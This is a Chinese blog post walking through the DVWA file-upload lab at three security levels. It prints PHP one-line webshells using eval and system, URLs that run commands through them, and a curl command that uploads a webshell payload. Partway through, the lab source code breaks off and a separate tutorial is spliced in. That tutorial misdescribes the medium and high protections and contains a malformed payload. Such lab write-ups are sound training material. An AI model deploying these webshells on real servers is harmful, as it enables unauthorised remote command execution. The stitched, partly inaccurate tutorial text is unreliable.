DVWA靶场--文件上传漏洞(low、medium、high等级)

本文详细介绍了DVWA靶场中低中高三安全等级下的Webshell上传漏洞,包括文件上传限制及绕过技巧。在Low等级下,可通过上传一句话木马并使用蚁剑连接进行操作;Medium等级增加了Content-Type限制,利用Burpsuite修改类型可绕过;High等级限制了文件后缀,通过%00截断或图片木马尝试上传,但仅能通过文件包含漏洞执行。文章还提及了MIME类型和中国蚁剑的使用方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

DVWA靶场实践-低中高三个安全等级

关于Webshell
Webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。
小马:一句话木马也称为了小马,即整个shell代码量只有一行,一般是系统执行函数。
大马:代码量和功能比小马多,一般会进行二次编码加密,防止被安全防火墙/入侵系统检测到。
shell2.php #eval使用php函数,例如phpinfo( )

<?php eval($_REQUEST[‘cmd’]);?>

http://127.0.0.1/dvwa/hackable/iploads/shell2.php?cmd=phpinfo();

shell3.php #system使用linux系统命令,例如ls,cp,rm

<?php system($_REQUEST[‘yangge’]);?>

http://127.0.0.1/dvwa/hackable/iploads/shell3php?yangge=cat /etc/password

<?php eval($_POST[‘chopper’]);?>

说明:REQUEST是在网页端输入变量访问,POST则是使用像中国菜刀之类的工具连接,是C/S架构。

安全等级:Low

查看码源:对上传的文件没有进行检测。

<?php 

if( isset( $_POST[ 'Upload' ] ) ) {
    
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // Can we move the file to the upload folder? 
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
    
        // No 
        echo '<pre>Your image was not uploaded.</pre>'; 
    } 
    else {
    
        // Yes! 
        echo "<pre>{
     $target_path} succesfully uploaded!</pre>"<
### DVWA 文件上传功能详细教程 #### 了解文件上传漏洞原理 文件上传漏洞允许攻击者向服务器上传恶意文件,通常是一句话木马。一旦成功上传并执行这些文件,攻击者就能获得对网站目录甚至整个系统的控制权限[^2]。 #### 准备工作 为了进行DVWA中的文件上传实验,需先完成如下准备工作: - **安装配置DVWA环境**:按照相关指南,在Windows环境下使用phpStudy搭建DVWA站点[^4]。 - **启动Kali Linux平台**:作为渗透测试的操作系统,确保已正确安装并能正常运行。 - **设置Burp Suite代理**:用于拦截和修改HTTP请求数据包,以便于分析和操控文件上传过程[^3]。 #### 开始文件上传挑战 进入DVWA主页后选择`File Upload`选项卡开始练习: 1. 页面显示了一个简单的表单,其中包含两个输入框——一个是供用户选择要上传的文件;另一个则是指定目标存储位置(此字段可能被隐藏或禁用)。 2. 默认情况下,该模块的安全级别设为(low),这意味着几乎没有任何防护措施阻止非法文件类型的提交。 3. 尝试上传一个普通的图片文件(如.jpg),观察其行为表现,并注意查看返回的消息提示以及确认文件确实保存到了预期路径下。 #### 提升难度至中级(medium) 当把安全等级调整到medium时,程序会对所选文件进行了初步验证,只接受特定扩展名结尾的照片类文档(.jpg,.png等)。此时可尝试以下方法绕过检测机制: - 更改待传对象的真实MIME类型; - 修改客户端脚本逻辑以欺骗服务端判断依据; 值得注意的是上述两种方式均违反道德准则和技术伦理,请仅限学习研究目的内实践! #### (high)模式下的对抗技巧 在最级别的保护状态下,除了延续之前的过滤规则外还增加了基于内容特征码黑名单匹配算法。面对这种情况建议采用更隐蔽的技术手段比如但不限于: - 利用PHP特性构造特殊格式的一句话WebShell- 结合其他漏洞组合拳出击实现最终突破效果; 不过出于合法合规考虑这里不再展开具体细节描述。 ```bash # 使用curl命令模拟POST请求发送带payload的数据流给远程web应用接口 $ curl -F "uploaded=<;php eval($_POST['cmd']);?>" http://target.com/dvwa/hackable/uploads/ ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值